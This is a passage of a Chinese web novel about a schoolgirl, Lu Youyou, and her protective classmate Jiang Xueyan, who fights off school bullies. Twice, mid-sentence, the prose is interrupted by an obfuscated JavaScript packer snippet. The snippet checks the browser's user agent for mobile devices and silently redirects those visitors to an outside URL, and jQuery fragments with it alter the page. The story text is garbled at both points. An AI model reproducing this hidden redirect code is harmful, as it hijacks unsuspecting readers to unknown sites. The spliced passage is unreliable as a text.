幸好这时，她瞥见了门口的老师。 “老师来了！”她小声说。 老师也不负众望，一进门就冷下目光问道：“你们在干嘛！” “找同学玩”，校霸吊儿郎当地回了一声，他特意加重了“玩”字的尾音，眼神却像刀子般剜了江雪岩和路悠悠一眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507450|186140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没等老师再开口，他已放开抓着胖子衣领的手，转身朝门外走去，两个小弟立刻簇拥着跟上。 校霸抬手随意挥了挥，校服袖子滑落半截，露出手腕上那道鲜明的疤痕，“老师再见”，他拉长语调，带着几分戏谑，“我们下次再来玩。” 路悠悠：“……” 路悠悠没有意识到问题的严重性，直到放学的路上，江雪岩骑着自行车停到她身旁。 “上车，我载你回家”，他指了指自行车后座。 不好吧…… 路悠悠有些犹豫，虽然校里校外早恋的小情侣比比皆是，可她并不想早恋，被人误会了也挺不好的。 13岁的少女一头短发，皮肤白皙，一双灵动的眼睛虽然礼貌地笑着，但内中的抗拒一览无余。 “我家离得近，走回去就好了”，路悠悠笑起来眼睛弯弯的很好看，是属于一笑就让人觉得性格很好的那种。 江雪岩没有再坚持，也没有独自一个人先走，而是从车座上下来，扶着车把手走到了她身旁，摆明了要跟她一道走。 “我是怕早上那几个人会在路上堵人，一起走安全点”，他解释道。 路悠悠：“……哦。” 且不说他们会不会来堵人，就是来堵，堵的也是他江雪岩啊，如今他这样明目张胆地过来连累她，真的好吗？ 路悠悠小声叹了口气，想了想，又在心里安慰自己道：算了算了，等会儿胖子快挨揍的时候，我立马报警就是了。 江雪岩并不知道她心里的小揪揪，以为她害怕，还安慰她：“最近我都会跟你一道走的。” 路悠悠：“……” 倒也不用天天如此…… 江雪岩：“不用怕，他们也就三个人。” 路悠悠：“……” 她四下张望，偶然瞥见一个熟悉的身影，赶紧搭讪：“班长，你家在哪儿呀？我们去春风路，要一道走吗？” 班长于洋长得人高马大，在竞选班委的时候中气十足，讲得滔滔不绝，此时竟生出几分腼腆来：“不了不了，我还要买点东西，你们先走。” 路悠悠笑笑：“也好，那明天见。” …… 爱德华·墨菲曾说过，任何可能出错的事最终都会出错，这一次也不例外。 两人刚出校门不久，就被人盯上了。 路悠悠神经大条，还在跟江雪岩讨论他带她走的这条小路太偏僻了，要是在这里被人堵了，想跑都跑不掉。 结果走着走着就发现前面是死胡同。 路悠悠心道不妙，一转身却看到三个吊儿郎当的少年慢悠悠往这边走来。 “我就不该听你的，你看你带的这叫什么路？” 她纤细指尖迅速滑开电话手表界面，熟练地打了三个数字——110，正要拨通，却被人一把拉开。 “你干什么？”她气呼呼看着把他带到死胡同的胖子，急道。 “别急，等我打输了你再报警”，江雪岩抿着唇笑得安静，“怪不得你一路上都在摸电话手表。” 路悠悠还在怔愣，江雪岩已经把自行车横停在两人中间，给她隔出了一条安全地带。 “别怕，我也是校霸”，他狡黠一笑，慢慢卷起校服袖子，转过了身。 路悠悠：“……” 13. 第十三章 暮色四合，胡同两侧斑驳的墙壁被路灯拉出长长的阴影。初秋的风卷着几片枯叶在墙角打着旋，给这僻静的小巷平添了几分肃杀。 胡同尽头，双方蓄势待发。 一对三，一个算不上高的胖子，对三个高大威猛的校霸。 路悠悠躲在墙角，紧张地攥着衣角。她看见江雪岩站在巷子中央，胖胖的身材在路灯下显得格外结实。 “江雪岩你勇气可嘉”，路悠悠苦着脸在心里给他点赞。 对面三人轻蔑笑着，缓缓逼近江雪岩，胖乎乎的他此时站在胡同中央，犹如一头蓄势待战的猎豹，路悠悠莫名觉得他一个人居然站出了“一夫当关万夫莫开”的意味。 “小子，白天挺横啊！” 带头的校霸率先发难，一声厉喝，一记下劈腿如战斧般当着江雪岩的头砸落。 路悠悠心下一惊，“啊！”地叫出了声。 但她万万没想到，几乎同一瞬间，江雪岩逆时针一转，精准躲过了校霸的下劈腿，接着他顺势而起，借着旋转的力道，右腿绷紧如钢鞭，迅疾无比的旋风踢“啪”地一声准确命中校霸的肋间。 路悠悠惊讶得下巴快掉下来了，她看着江雪岩那胖乎乎的身体轻巧地落到地上，暗暗松了一口气。 不成想江雪岩借着落地的力道又腾空而起，没有多余的动作，两只脚直直朝失去重心的校霸身上怼去。 不到半分钟，带头的校霸便狼狈地倒在地上，扬起一阵灰尘。 “……” 一阵诡异的风从巷口吹过，路悠悠和另外两名校霸脸上的表情变了又变，时间仿佛停滞，整个胡同里只有倒地的校霸哀嚎的声音，那声音在狭窄的巷道里回荡，格外刺耳。 半响，另外两名校霸终于鼓足勇气一道冲了上去，路悠悠咽了咽口水，看着江雪岩一格一挡，慢慢后退巧妙避开两人锋芒。他微胖的身躯在狭窄的巷道里灵活地移动，像一只在林中穿梭的熊。随即身子一弯，忽然开始猛攻两人下盘，二人始料未及，出现破绽的同时江雪岩又一记旋风腿劈了出来…… 风渐渐停了，只有两边的路灯静静睁着眼。 路悠悠看着踢倒三人后的江雪岩慢慢朝她走来，他微微喘着气，脸颊泛着运动后的红晕。她的瞳孔渐渐放大，“你……” “吓到你了吗？”江雪岩认真看着她，有些担心。他的眼睛在暮色中显得格外明亮，像是藏着星辰。 路悠悠深吸口气，空气中还弥漫着打斗扬起的尘土气息。等缓过劲来，她迅速跑到江雪岩身前，拉住他的胳膊，说出了那句她至今想起来还颇为自豪的话—— “大侠，我们做朋友吧？” …… 从那以后，江雪岩就天天“护送”她上下学，两人的关系也在日复一日的相处中渐渐发生变化。 路悠悠那时候很喜欢逗江雪岩笑，平时看着冷冷清清一人，笑起来的时候眼睛会发光，像是阳光穿破云层，温暖而明亮。 也是那个时候，路悠悠明白了一个道理：一个人的外貌会因他的脾性、才华、人品发生变化。 譬如江雪岩，以前她觉得他就一独来独往的小胖子，关系好了才发现，他浑身上下都发着光，比那些长得高大帅气的同学更耀眼。 有段日子，每晚睡前，想到第二天上学路上就能见到江雪岩，路悠悠就高兴地捂在被子里偷笑很久很久。 不过在人前，少女的心事隐藏得很深很深，深到还没有让任何人发现，就无疾而终。 月经初潮那天，路悠悠弄脏了裤子，放学的时候别人都走了，她坐在座位上迟迟不肯起来。 江雪岩发现了她的窘迫，问她是不是不舒服。他转过头时，细碎的黑发垂在额前，眼神清澈而充满关切。 她犹豫一阵，最后如实相告。 少年眼里闪过一丝尴尬，但很快，他将校服脱下来递给她，让她绑到腰上。动作干脆利落，没有半分迟疑。 那天，她坐在江雪岩的自行车后座上，听到了很多闲言碎语。秋风拂过她的脸颊，却吹不散她脸上的燥热。 13岁的懵懂女孩自尊心很强，那是她第一次感受到，别人的话语对自己带来的杀伤力。 她的确对江雪岩生出了不该有的心思，她想，她要把这份心思深藏起来，好好学习，等到大学…… 结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507451|186140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果第二天，她就把那份心思灭在了萌芽状态。 课间休息，她上完厕所出门，忽然听到江雪岩在教室里怒吼：“你他M的再说一次！” 江雪岩很少跟人起冲突，唯一一次跟人打架就是那次在死胡同揍三个校霸。 路悠悠焦急地跑到门口，见一人背对着她，揪着同学的领子。江雪岩那微胖却挺拔的背影在人群中格外显眼，蓝白相间的校服衬得他肩背宽阔。 她太熟悉那道背影了，心猛然间揪到一起。 “你装什么清白？天天骑着自行车带路悠悠，衣服还绑在人家身上，谁知道你带她去了哪里，真搞笑，敢做还不敢让人家说……” 路悠悠呆住了，下一刻，她就看到江雪岩将拳头挥了出去，几乎同时，同学的鼻血溅到了他的校服上…… “你他妈狗嘴里吐不出象牙……” 这也是路悠悠第一次听到江雪岩在她面前骂人，等把人打到在地，他又喘着气气呼呼地说：“你们都给我听好了，我TM跟路悠悠就是单纯的朋友，清清白白，跟白开水一样，谁他M再敢胡说，下场就跟他一模一样，听清楚了吗？！” 他说话时胸口剧烈起伏，圆润的脸庞因愤怒而涨红，那双总是平静无波的眼睛此刻燃烧着怒火，当他转过身来，刚好跟路悠悠错愕的眼神撞个了正着。 …… 因为那次打架，江雪岩得了学校的警告处分。 那天放学，他还是跟往常一样，骑着自行车送路悠悠回家。 “下次别打架了，好好说话。” 路悠悠坐在后座，眼睛盯着路边一排排往后飞去的树木，喃喃说道。 江雪岩“嗯”了一声，许久，才问她：“你是觉得打架太恐怖，还是因为我受了处分心中有愧？” 路悠悠：“你打架不恐怖。” 江雪岩笑了几下，说：“没关系，为了朋友两肋插刀都无妨，一个处分轻得连鸿毛都算不上，不用放在心上。” 路悠悠：“……” 她听得感动，心里却莫名有些失落。 从那天开始，她就悄悄告诉自己，要跟江雪岩，做一辈子的好朋友。